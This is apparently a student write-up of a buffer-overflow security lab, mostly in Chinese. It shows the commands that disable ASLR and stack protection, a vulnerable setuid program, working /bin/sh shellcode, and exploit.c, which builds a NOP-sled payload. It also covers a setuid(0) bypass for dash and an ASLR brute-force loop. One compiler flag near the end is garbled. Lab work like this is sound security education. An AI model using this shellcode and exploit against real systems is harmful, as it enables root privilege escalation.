Buffer Overflow Vulnerability Lab
Buffer Overflow Vulnerability Lab
2.1 Turning Off Countermeasures
停用地址随机化机制
$ sudo sysctl -w kernel.randomize_va_space=0
在编译阶段实施地址保护功能的关闭操作
$ gcc -fno-stack-protector example.c
可执行栈(executable stacks)
> $ gcc -z execstack -o test test.c
>
>
>
>
> ```
>
>
>
> For non-executable stack:
>
>
$ gcc -z noexecstack -o test test.c
Configuring /bin/sh (Ubuntu 16.04 VM only).
$ sudo ln -sf /bin/zsh /bin/sh
2.2 Task 1: Running Shellcode
//call_shellcode.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
进行编译处理并实施权重分配
$ gcc -z execstack -o call_shellcode call_shellcode.c
$ sudo chown root call_shellcode
$ sudo chmod 4755 call_shellcode
执行成果:成功获取root权限
结论:call_shellcode能够执行/bin/sh命令

2.3 The Vulnerable Program
//stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
strcpy(buffer,str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
在栈空间中对一段文件内容进行复制操作时,strcpy函数未对边界进行校验,因此存在越界覆盖的风险
功能:使badfile返回的指针指向即将被执行的恶意代码段
$ gcc -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack
2.4 Task 2: Exploiting the Vulnerability
///exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
memset(&buffer, 0x90, 517);
strcpy(buffer+100, shellcode);
strcpy(buffer+0x24, "\xbb\xf1\xff\xbf");
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
【exploit.c文件的功能是生成一个名为badfile的文件,其中嵌入了一段具有破坏性的代码,而stack.c程序将借助该badfile对返回指针进行覆盖,使其指向恶意代码所在位置。
返回地址与buffer起始地址之间的相对位置:在进入bof函数之前,首先将函数参数str的地址压入栈中,接着是返回地址。随后进入函数内部,将ebp寄存器(旧值)压栈,并更新ebp(新值)以及调整esp以分配存储空间。通过反汇编代码分析可知,buffer起始地址与ebp之间的偏移量为0x20,因此到返回地址的偏移量则为0x24。
buffer的总容量为24字节,上述内容所占空间为8字节,上一帧指针占用4字节,因此总的偏移量为0x24。
在调试过程中设置断点时发现buffer的起始地址为0xbffff157,恶意代码相对于该地址的偏移量为100(即0x64),而返回地址相对于buffer起始位置的偏移量为36(即0x24)。
关于buffer初始化的操作:通过调用memset(&buffer, 0x90, 517);函数可以将buffer的内容填充为0x90字节。这个值对应的是NOP指令,在CPU执行过程中不会产生任何实际操作效果,只是指示CPU继续执行下一条指令。这种机制可以引导CPU逐步运行至目标恶意代码区域。

$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program

a real root process, which is more powerful
> void main()
> {
> setuid(0); system("/bin/sh");
> }
>
>
>
>
>
>
>
> ```
实现对系统核心权限的完全掌控
>
>
* * *
## 2.5 Task 3: Defeating dash’s Countermeasure
/bin/dash解决了zsh存在的缺陷,当root用户权限与文件属主不匹配时,系统会自动降低权限,然而这一机制仍存在被利用进行攻击的可能。
$ sudo ln -sf /bin/dash /bin/sh //重定向到dash
//dash_shell_test
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
//setuid(0);
execve("/bin/sh", argv, NULL);
return 0;
}
//dash_shell_test_setuid0
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
setuid(0);
execve("/bin/sh", argv, NULL);
return 0;
}
//dash_shell_test_uid1001
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
setuid(1001);
execve("/bin/sh", argv, NULL);
return 0;
}
差异仅体现在第11行,通过euid的root权限将setuid设置为自身的目标用户标识,甚至可以直接取得root的权限
由于系统跳转至dash界面,因此badfile文件需进行相应调整
//exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0"
"\x31\xdb"
"\xb0\xd5"
"\xcd\x80"
//以上四行为新添加的,其余不变
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
memset(&buffer, 0x90, 517);
strcpy(buffer+100, shellcode);
strcpy(buffer+0x24, "\xbb\xf1\xff\xbf");
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
* * *
## 2.6 Task 4: Defeating Address Randomization
启用地址随机化机制虽能显著削弱攻击行为的实施概率,但并不能彻底杜绝其发生的可能,仍存在一定条件下成功实施的风险
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
#! /bin/bash
SECONDS=0
value=0
while [ 1 ]
do
value=$(($value + 1))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed. "
echo "The program has been running $value times so far. "
./stack
done
攻击行为已达成,然而相关脚本未能对所需时间进行有效记录

对脚本进行修正之后,其运行效率明显下降,持续较长时间的执行状态间接反映出攻击未能成功(由于攻击耗时过长,已丧失实际意义)

2.7 Task 5: Turn on the StackGuard Protection
//$ gcc -o stack -z execstack -fno-stack-protector stack.c
$ gcc -o stack -z execstack stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack

2.非可执行栈保护启用
//$ gcc -o stack -z execstack -fno-stack-protector stack.c
$ gcc -o stack noexecstack -z -fno-stack-protector stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack

3 Summary
- 存在安全隐患的strcpy函数可能引发缓冲区溢出问题,从而导致程序执行未经授权的恶意代码。
- 内存地址随机分配机制、内存访问保护策略以及禁止栈区执行代码等措施,均能在一定程度上防范缓冲区溢出攻击的发生。
- 对于具备setuid权限的程序而言,/bin/dash同样存在被成功攻击的风险。
